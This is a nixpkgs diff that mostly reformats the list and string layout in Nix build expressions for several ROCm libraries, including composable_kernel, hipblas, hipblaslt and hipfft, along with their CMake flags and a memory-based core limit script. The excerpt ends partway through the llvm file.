--- a/pkgs/development/rocm-modules/6/composable_kernel/base.nix
+++ b/pkgs/development/rocm-modules/6/composable_kernel/base.nix
@@ -40,16 +40,15 @@ stdenv.mkDerivation (finalAttrs: {
   # and it matches the version torch 2.6 wants
   version = "6.4.0-unstable-20241220";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildExamples [
-      "example"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildExamples [
+    "example"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -81,40 +80,39 @@ stdenv.mkDerivation (finalAttrs: {
   env.ROCM_PATH = clr;
   env.HIP_CLANG_PATH = "${rocm-merged-llvm}/bin";
 
-  cmakeFlags =
-    [
-      "-DCMAKE_MODULE_PATH=${clr}/hip/cmake"
-      "-DCMAKE_BUILD_TYPE=Release"
-      "-DCMAKE_POLICY_DEFAULT_CMP0069=NEW"
-      # "-DDL_KERNELS=ON" # Not needed, slow to build
-      # CK_USE_CODEGEN Required for migraphx which uses device_gemm_multiple_d.hpp
-      # but migraphx requires an incompatible fork of CK and fails anyway
-      # "-DCK_USE_CODEGEN=ON"
-      # It might be worth skipping fp64 in future with this:
-      # "-DDTYPES=fp32;fp16;fp8;bf16;int8"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DBUILD_DEV=OFF"
-      "-DROCM_PATH=${clr}"
-      "-DCMAKE_HIP_COMPILER_ROCM_ROOT=${clr}"
+  cmakeFlags = [
+    "-DCMAKE_MODULE_PATH=${clr}/hip/cmake"
+    "-DCMAKE_BUILD_TYPE=Release"
+    "-DCMAKE_POLICY_DEFAULT_CMP0069=NEW"
+    # "-DDL_KERNELS=ON" # Not needed, slow to build
+    # CK_USE_CODEGEN Required for migraphx which uses device_gemm_multiple_d.hpp
+    # but migraphx requires an incompatible fork of CK and fails anyway
+    # "-DCK_USE_CODEGEN=ON"
+    # It might be worth skipping fp64 in future with this:
+    # "-DDTYPES=fp32;fp16;fp8;bf16;int8"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DBUILD_DEV=OFF"
+    "-DROCM_PATH=${clr}"
+    "-DCMAKE_HIP_COMPILER_ROCM_ROOT=${clr}"
 
-      # FP8 can build for 908/90a but very slow build
-      # and produces unusably slow kernels that are huge
-      "-DCK_USE_FP8_ON_UNSUPPORTED_ARCH=OFF"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      # We intentionally set GPU_ARCHS and not AMD/GPU_TARGETS
-      # per readme this is required if archs are dissimilar
-      # In rocm-6.3.x not setting any arch flag worked
-      # but setting dissimilar arches always failed
-      "-DGPU_ARCHS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DGOOGLETEST_DIR=${gtest.src}" # Custom linker names
-    ];
+    # FP8 can build for 908/90a but very slow build
+    # and produces unusably slow kernels that are huge
+    "-DCK_USE_FP8_ON_UNSUPPORTED_ARCH=OFF"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    # We intentionally set GPU_ARCHS and not AMD/GPU_TARGETS
+    # per readme this is required if archs are dissimilar
+    # In rocm-6.3.x not setting any arch flag worked
+    # but setting dissimilar arches always failed
+    "-DGPU_ARCHS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DGOOGLETEST_DIR=${gtest.src}" # Custom linker names
+  ];
 
   # No flags to build selectively it seems...
   postPatch =
diff --git a/pkgs/development/rocm-modules/6/composable_kernel/default.nix b/pkgs/development/rocm-modules/6/composable_kernel/default.nix
index dc8d6c3506f9..0ec02b962cc1 100644
--- a/pkgs/development/rocm-modules/6/composable_kernel/default.nix
+++ b/pkgs/development/rocm-modules/6/composable_kernel/default.nix
@@ -184,20 +184,18 @@ let
       # Nix/nixpkgs doesn't really have any infra to tell it that this build is unusually memory hungry
       # So, bodge. Otherwise you end up having to build all of ROCm with a low core limit when
       # it's only this package that has trouble.
-      preConfigure =
-        old.preConfigure or ""
-        + ''
-          MEM_GB_TOTAL=$(awk '/MemTotal/ { printf "%d \n", $2/1024/1024 }' /proc/meminfo)
-          MEM_GB_AVAILABLE=$(awk '/MemAvailable/ { printf "%d \n", $2/1024/1024 }' /proc/meminfo)
-          APPX_GB=$((MEM_GB_AVAILABLE > MEM_GB_TOTAL ? MEM_GB_TOTAL : MEM_GB_AVAILABLE))
-          MAX_CORES=$((1 + APPX_GB/3))
-          MAX_CORES=$((MAX_CORES < NIX_BUILD_CORES/3 ? NIX_BUILD_CORES/3 : MAX_CORES))
-          export NIX_BUILD_CORES="$((NIX_BUILD_CORES > MAX_CORES ? MAX_CORES : NIX_BUILD_CORES))"
-          echo "Picked new core limit NIX_BUILD_CORES=$NIX_BUILD_CORES based on available mem: $APPX_GB GB"
-          cmakeFlagsArray+=(
-            "-DCK_PARALLEL_COMPILE_JOBS=$NIX_BUILD_CORES"
-          )
-        '';
+      preConfigure = old.preConfigure or "" + ''
+        MEM_GB_TOTAL=$(awk '/MemTotal/ { printf "%d \n", $2/1024/1024 }' /proc/meminfo)
+        MEM_GB_AVAILABLE=$(awk '/MemAvailable/ { printf "%d \n", $2/1024/1024 }' /proc/meminfo)
+        APPX_GB=$((MEM_GB_AVAILABLE > MEM_GB_TOTAL ? MEM_GB_TOTAL : MEM_GB_AVAILABLE))
+        MAX_CORES=$((1 + APPX_GB/3))
+        MAX_CORES=$((MAX_CORES < NIX_BUILD_CORES/3 ? NIX_BUILD_CORES/3 : MAX_CORES))
+        export NIX_BUILD_CORES="$((NIX_BUILD_CORES > MAX_CORES ? MAX_CORES : NIX_BUILD_CORES))"
+        echo "Picked new core limit NIX_BUILD_CORES=$NIX_BUILD_CORES based on available mem: $APPX_GB GB"
+        cmakeFlagsArray+=(
+          "-DCK_PARALLEL_COMPILE_JOBS=$NIX_BUILD_CORES"
+        )
+      '';
       cmakeFlags = old.cmakeFlags ++ extraCmakeFlags;
       # Early exit after build phase with success, skips fixups etc
       # Will get copied back into /build of the final CK
diff --git a/pkgs/development/rocm-modules/6/hipblas/default.nix b/pkgs/development/rocm-modules/6/hipblas/default.nix
index 22706ff562b5..ca236f1b85ff 100644
--- a/pkgs/development/rocm-modules/6/hipblas/default.nix
+++ b/pkgs/development/rocm-modules/6/hipblas/default.nix
@@ -25,19 +25,18 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "hipblas";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ]
-    ++ lib.optionals buildSamples [
-      "sample"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ]
+  ++ lib.optionals buildSamples [
+    "sample"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -69,42 +68,40 @@ stdenv.mkDerivation (finalAttrs: {
 
   propagatedBuildInputs = [ hipblas-common ];
 
-  buildInputs =
-    [
-      rocblas
-      rocprim
-      rocsparse
-      rocsolver
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      lapack-reference
-    ];
+  buildInputs = [
+    rocblas
+    rocprim
+    rocsparse
+    rocsolver
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    lapack-reference
+  ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_BUILD_TYPE=Release"
-      "-DCMAKE_CXX_COMPILER=${lib.getExe' clr "hipcc"}"
-      # Upstream is migrating to amdclang++, it is likely this will be correct in next version bump
-      #"-DCMAKE_CXX_COMPILER=${lib.getBin clr}/bin/amdclang++"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DAMDGPU_TARGETS=${rocblas.amdgpu_targets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_CLIENTS_TESTS=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_CLIENTS_BENCHMARKS=ON"
-    ]
-    ++ lib.optionals buildSamples [
-      "-DBUILD_CLIENTS_SAMPLES=ON"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_BUILD_TYPE=Release"
+    "-DCMAKE_CXX_COMPILER=${lib.getExe' clr "hipcc"}"
+    # Upstream is migrating to amdclang++, it is likely this will be correct in next version bump
+    #"-DCMAKE_CXX_COMPILER=${lib.getBin clr}/bin/amdclang++"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DAMDGPU_TARGETS=${rocblas.amdgpu_targets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_CLIENTS_TESTS=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_CLIENTS_BENCHMARKS=ON"
+  ]
+  ++ lib.optionals buildSamples [
+    "-DBUILD_CLIENTS_SAMPLES=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/hipblaslt/default.nix b/pkgs/development/rocm-modules/6/hipblaslt/default.nix
index a5ab8ff2ab21..9d47111e9470 100644
--- a/pkgs/development/rocm-modules/6/hipblaslt/default.nix
+++ b/pkgs/development/rocm-modules/6/hipblaslt/default.nix
@@ -77,19 +77,18 @@ stdenv.mkDerivation (
     env.CMAKE_CXX_COMPILER = lib.getExe' clr "amdclang++";
     requiredSystemFeatures = [ "big-parallel" ];
 
-    outputs =
-      [
-        "out"
-      ]
-      ++ lib.optionals buildTests [
-        "test"
-      ]
-      ++ lib.optionals buildBenchmarks [
-        "benchmark"
-      ]
-      ++ lib.optionals buildSamples [
-        "sample"
-      ];
+    outputs = [
+      "out"
+    ]
+    ++ lib.optionals buildTests [
+      "test"
+    ]
+    ++ lib.optionals buildBenchmarks [
+      "benchmark"
+    ]
+    ++ lib.optionals buildSamples [
+      "sample"
+    ];
 
     postPatch = ''
       mkdir -p build/Tensile/library
@@ -137,64 +136,62 @@ stdenv.mkDerivation (
       # so deliberately not using ninja
     ];
 
-    buildInputs =
-      [
-        hipblas-common
-        tensile'
-        openmp
-        libffi
-        ncurses
+    buildInputs = [
+      hipblas-common
+      tensile'
+      openmp
+      libffi
+      ncurses
 
-        # Tensile deps - not optional, building without tensile isn't actually supported
-        msgpack # FIXME: not included in cmake!
-        libxml2
-        python3Packages.msgpack
-        python3Packages.joblib
-        zlib
-        zstd
-      ]
-      ++ lib.optionals buildTests [
-        gtest
-      ]
-      ++ lib.optionals (buildTests || buildBenchmarks) [
-        lapack-reference
-      ];
+      # Tensile deps - not optional, building without tensile isn't actually supported
+      msgpack # FIXME: not included in cmake!
+      libxml2
+      python3Packages.msgpack
+      python3Packages.joblib
+      zlib
+      zstd
+    ]
+    ++ lib.optionals buildTests [
+      gtest
+    ]
+    ++ lib.optionals (buildTests || buildBenchmarks) [
+      lapack-reference
+    ];
 
-    cmakeFlags =
-      [
-        "-Wno-dev"
-        "-DCMAKE_BUILD_TYPE=Release"
-        "-DCMAKE_VERBOSE_MAKEFILE=ON"
-        "-DVIRTUALENV_PYTHON_EXENAME=${lib.getExe py}"
-        "-DTENSILE_USE_HIP=ON"
-        "-DTENSILE_BUILD_CLIENT=OFF"
-        "-DTENSILE_USE_FLOAT16_BUILTIN=ON"
-        "-DCMAKE_CXX_COMPILER=${compiler}"
-        # Manually define CMAKE_INSTALL_<DIR>
-        # See: https://github.com/NixOS/nixpkgs/pull/197838
-        "-DCMAKE_INSTALL_BINDIR=bin"
-        "-DCMAKE_INSTALL_LIBDIR=lib"
-        "-DCMAKE_INSTALL_INCLUDEDIR=include"
-        "-DHIPBLASLT_ENABLE_MARKER=Off"
-        # FIXME what are the implications of hardcoding this?
-        "-DTensile_CODE_OBJECT_VERSION=V5"
-        "-DTensile_COMPILER=${compiler}"
-        "-DAMDGPU_TARGETS=${gpuTargets'}"
-        "-DGPU_TARGETS=${gpuTargets'}"
-        "-DTensile_LIBRARY_FORMAT=msgpack"
-      ]
-      ++ lib.optionals (!supportsTargetArches) [
-        "-DBUILD_WITH_TENSILE=OFF"
-      ]
-      ++ lib.optionals buildTests [
-        "-DBUILD_CLIENTS_TESTS=ON"
-      ]
-      ++ lib.optionals buildBenchmarks [
-        "-DBUILD_CLIENTS_BENCHMARKS=ON"
-      ]
-      ++ lib.optionals buildSamples [
-        "-DBUILD_CLIENTS_SAMPLES=ON"
-      ];
+    cmakeFlags = [
+      "-Wno-dev"
+      "-DCMAKE_BUILD_TYPE=Release"
+      "-DCMAKE_VERBOSE_MAKEFILE=ON"
+      "-DVIRTUALENV_PYTHON_EXENAME=${lib.getExe py}"
+      "-DTENSILE_USE_HIP=ON"
+      "-DTENSILE_BUILD_CLIENT=OFF"
+      "-DTENSILE_USE_FLOAT16_BUILTIN=ON"
+      "-DCMAKE_CXX_COMPILER=${compiler}"
+      # Manually define CMAKE_INSTALL_<DIR>
+      # See: https://github.com/NixOS/nixpkgs/pull/197838
+      "-DCMAKE_INSTALL_BINDIR=bin"
+      "-DCMAKE_INSTALL_LIBDIR=lib"
+      "-DCMAKE_INSTALL_INCLUDEDIR=include"
+      "-DHIPBLASLT_ENABLE_MARKER=Off"
+      # FIXME what are the implications of hardcoding this?
+      "-DTensile_CODE_OBJECT_VERSION=V5"
+      "-DTensile_COMPILER=${compiler}"
+      "-DAMDGPU_TARGETS=${gpuTargets'}"
+      "-DGPU_TARGETS=${gpuTargets'}"
+      "-DTensile_LIBRARY_FORMAT=msgpack"
+    ]
+    ++ lib.optionals (!supportsTargetArches) [
+      "-DBUILD_WITH_TENSILE=OFF"
+    ]
+    ++ lib.optionals buildTests [
+      "-DBUILD_CLIENTS_TESTS=ON"
+    ]
+    ++ lib.optionals buildBenchmarks [
+      "-DBUILD_CLIENTS_BENCHMARKS=ON"
+    ]
+    ++ lib.optionals buildSamples [
+      "-DBUILD_CLIENTS_SAMPLES=ON"
+    ];
 
     postInstall =
       lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/hipcub/default.nix b/pkgs/development/rocm-modules/6/hipcub/default.nix
index d51b5b36bab9..c559760738aa 100644
--- a/pkgs/development/rocm-modules/6/hipcub/default.nix
+++ b/pkgs/development/rocm-modules/6/hipcub/default.nix
@@ -19,16 +19,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "hipcub";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -43,35 +42,33 @@ stdenv.mkDerivation (finalAttrs: {
     clr
   ];
 
-  buildInputs =
-    [
-      rocprim
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-    ]
-    ++ lib.optionals buildBenchmarks [
-      gbenchmark
-    ];
+  buildInputs = [
+    rocprim
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+  ]
+  ++ lib.optionals buildBenchmarks [
+    gbenchmark
+  ];
 
-  cmakeFlags =
-    [
-      "-DHIP_ROOT_DIR=${clr}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TEST=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_BENCHMARK=ON"
-    ];
+  cmakeFlags = [
+    "-DHIP_ROOT_DIR=${clr}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TEST=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_BENCHMARK=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/hipfft/default.nix b/pkgs/development/rocm-modules/6/hipfft/default.nix
index 80c21f158a77..21507e774c6d 100644
--- a/pkgs/development/rocm-modules/6/hipfft/default.nix
+++ b/pkgs/development/rocm-modules/6/hipfft/default.nix
@@ -24,19 +24,18 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "hipfft";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ]
-    ++ lib.optionals buildSamples [
-      "sample"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ]
+  ++ lib.optionals buildSamples [
+    "sample"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -53,43 +52,41 @@ stdenv.mkDerivation (finalAttrs: {
     rocm-cmake
   ];
 
-  buildInputs =
-    [
-      rocfft
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks || buildSamples) [
-      gtest
-      boost
-      fftw
-      fftwFloat
-      openmp
-    ];
+  buildInputs = [
+    rocfft
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks || buildSamples) [
+    gtest
+    boost
+    fftw
+    fftwFloat
+    openmp
+  ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_C_COMPILER=hipcc"
-      "-DCMAKE_CXX_COMPILER=hipcc"
-      "-DCMAKE_MODULE_PATH=${clr}/lib/cmake/hip"
-      "-DHIP_ROOT_DIR=${clr}"
-      "-DHIP_PATH=${clr}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_CLIENTS_TESTS=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_CLIENTS_RIDER=ON"
-    ]
-    ++ lib.optionals buildSamples [
-      "-DBUILD_CLIENTS_SAMPLES=ON"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_C_COMPILER=hipcc"
+    "-DCMAKE_CXX_COMPILER=hipcc"
+    "-DCMAKE_MODULE_PATH=${clr}/lib/cmake/hip"
+    "-DHIP_ROOT_DIR=${clr}"
+    "-DHIP_PATH=${clr}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_CLIENTS_TESTS=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_CLIENTS_RIDER=ON"
+  ]
+  ++ lib.optionals buildSamples [
+    "-DBUILD_CLIENTS_SAMPLES=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/hiprand/default.nix b/pkgs/development/rocm-modules/6/hiprand/default.nix
index f32f4e508a18..d39e01ac2a78 100644
--- a/pkgs/development/rocm-modules/6/hiprand/default.nix
+++ b/pkgs/development/rocm-modules/6/hiprand/default.nix
@@ -16,13 +16,12 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "hiprand";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -39,21 +38,20 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [ rocrand ] ++ (lib.optionals buildTests [ gtest ]);
 
-  cmakeFlags =
-    [
-      "-DHIP_ROOT_DIR=${clr}"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_TEST=ON"
-    ];
+  cmakeFlags = [
+    "-DHIP_ROOT_DIR=${clr}"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_TEST=ON"
+  ];
 
   postInstall = lib.optionalString buildTests ''
     mkdir -p $test/bin
diff --git a/pkgs/development/rocm-modules/6/hipsolver/default.nix b/pkgs/development/rocm-modules/6/hipsolver/default.nix
index dbc0b0c43c3d..d87c58eb3dbf 100644
--- a/pkgs/development/rocm-modules/6/hipsolver/default.nix
+++ b/pkgs/development/rocm-modules/6/hipsolver/default.nix
@@ -23,19 +23,18 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "hipsolver";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "benchmark"
-    ]
-    ++ lib.optionals buildSamples [
-      "sample"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "benchmark"
+  ]
+  ++ lib.optionals buildSamples [
+    "sample"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -51,39 +50,37 @@ stdenv.mkDerivation (finalAttrs: {
     gfortran
   ];
 
-  buildInputs =
-    [
-      rocblas
-      rocsolver
-      rocsparse
-      suitesparse
-    ]
-    ++ lib.optionals buildTests [
-      gtest
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      lapack-reference
-    ];
+  buildInputs = [
+    rocblas
+    rocsolver
+    rocsparse
+    suitesparse
+  ]
+  ++ lib.optionals buildTests [
+    gtest
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    lapack-reference
+  ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_CXX_COMPILER=hipcc"
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DBUILD_WITH_SPARSE=OFF" # FIXME: broken - can't find suitesparse/cholmod, looks fixed in master
-    ]
-    ++ lib.optionals buildTests [
-      "-DBUILD_CLIENTS_TESTS=ON"
-    ]
-    ++ lib.optionals buildBenchmarks [
-      "-DBUILD_CLIENTS_BENCHMARKS=ON"
-    ]
-    ++ lib.optionals buildSamples [
-      "-DBUILD_CLIENTS_SAMPLES=ON"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_CXX_COMPILER=hipcc"
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DBUILD_WITH_SPARSE=OFF" # FIXME: broken - can't find suitesparse/cholmod, looks fixed in master
+  ]
+  ++ lib.optionals buildTests [
+    "-DBUILD_CLIENTS_TESTS=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DBUILD_CLIENTS_BENCHMARKS=ON"
+  ]
+  ++ lib.optionals buildSamples [
+    "-DBUILD_CLIENTS_SAMPLES=ON"
+  ];
 
   postInstall =
     lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/hipsparse/default.nix b/pkgs/development/rocm-modules/6/hipsparse/default.nix
index 5a318c7fe1e2..0a1795d3ab16 100644
--- a/pkgs/development/rocm-modules/6/hipsparse/default.nix
+++ b/pkgs/development/rocm-modules/6/hipsparse/default.nix
@@ -22,16 +22,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "hipsparse";
   version = "6.3.3";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildTests [
-      "test"
-    ]
-    ++ lib.optionals buildSamples [
-      "sample"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildTests [
+    "test"
+  ]
+  ++ lib.optionals buildSamples [
+    "sample"
+  ];
 
   src = fetchFromGitHub {
     owner = "ROCm";
@@ -47,32 +46,30 @@ stdenv.mkDerivation (finalAttrs: {
     gfortran
   ];
 
-  buildInputs =
-    [
-      rocsparse
-      git
-    ]
-    ++ lib.optionals (buildTests || buildBenchmarks) [
-      gtest
-    ]
-    ++ lib.optionals (buildTests || buildSamples) [
-      openmp
-    ];
+  buildInputs = [
+    rocsparse
+    git
+  ]
+  ++ lib.optionals (buildTests || buildBenchmarks) [
+    gtest
+  ]
+  ++ lib.optionals (buildTests || buildSamples) [
+    openmp
+  ];
 
-  cmakeFlags =
-    [
-      # Manually define CMAKE_INSTALL_<DIR>
-      # See: https://github.com/NixOS/nixpkgs/pull/197838
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      (lib.cmakeBool "BUILD_CLIENTS_TESTS" buildTests)
-      (lib.cmakeBool "BUILD_CLIENTS_BENCHMARKS" buildBenchmarks)
-      (lib.cmakeBool "BUILD_CLIENTS_SAMPLES" buildSamples)
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ];
+  cmakeFlags = [
+    # Manually define CMAKE_INSTALL_<DIR>
+    # See: https://github.com/NixOS/nixpkgs/pull/197838
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    (lib.cmakeBool "BUILD_CLIENTS_TESTS" buildTests)
+    (lib.cmakeBool "BUILD_CLIENTS_BENCHMARKS" buildBenchmarks)
+    (lib.cmakeBool "BUILD_CLIENTS_SAMPLES" buildSamples)
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ];
 
   # We have to manually generate the matrices
   # CMAKE_MATRICES_DIR seems to be reset in clients/tests/CMakeLists.txt
diff --git a/pkgs/development/rocm-modules/6/llvm/default.nix b/pkgs/development/rocm-modules/6/llvm/default.nix
index 5131fc979df8..cb264b37fd32 100644
--- a/pkgs/development/rocm-modules/6/llvm/default.nix
+++ b/pkgs/development/rocm-modules/6/llvm/default.nix
@@ -368,20 +368,16 @@ rec {
               # FIXME: Config file in rocmcxx instead of GCC_INSTALL_PREFIX?
               "-DGCC_INSTALL_PREFIX=${gcc-prefix}"
             ];
-          postFixup =
-            (old.postFixup or "")
-            + ''
-              find $lib -type f -exec remove-references-to -t ${stdenv.cc.cc} {} +
